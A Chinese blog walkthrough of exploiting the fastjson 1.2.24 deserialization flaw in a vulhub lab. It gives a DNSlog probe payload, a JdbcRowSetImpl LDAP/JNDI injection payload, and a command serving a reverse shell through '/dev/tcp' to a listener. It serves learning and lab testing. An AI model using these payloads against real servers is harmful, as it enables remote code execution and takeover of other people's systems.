web中间件漏洞之(3)fastjson反序列化漏洞
引言
fastjson可以将Java对象序列化为json格式,也可将json反序列化为Java对象。在请求包里面中发送恶意的 json 格式 payload,fastjson在处理 json 对象时使用了autotype机制,允许在反序列化时通过@type指定反序列化的类,调用指定类的set和get方法。攻击者可以通过rmi或ldap服务,将ldap绝对路径注入到JNDI的lookup方法中,构造数据使得进入指定类(恶意类)的set和get方法,如果这些方法中有逻辑漏洞,即可利用其getshell
漏洞探测
启动vulhub的fastjson 1.2.24-rce镜像,服务器地址为http://192.168.10.170:8090/
~/Desktop/vulhub-master/fastjson/1.2.24-rce$ sudo docker-compose up -d
使用dnslog,生成子域名lyc9a3.dnslog.cn,来探测该服务器是否存在解析漏洞
通过burpsuite向服务器发送构造的json POST请求
{ "a":{ "@type":"java.net.Inet6Address", "val":"lyc9a3.dnslog.cn" } }
可以检测到dnslog子域名被解析,说明服务器存在json反序列化导致的解析漏洞
使用fastjson_tool生成恶意类来getshell
攻击机192.168.10.129,启动HLDAP服务器8888,并根据反弹shell生成payload,该payload使得反序列化时重定向到恶意类http://192.168.10.129:8888/Object.class
nc -lvvp 7777 java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.10.129 8888 "bash=/bin/bash -i >& /dev/tcp/192.168.10.129/7777 0>&1"
burp中, 根据第二个payload,在请求后面添加json
{ "e":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "f":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.10.129:8888/Object", "autoCommit":true } }
发送请求,即可getshell
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!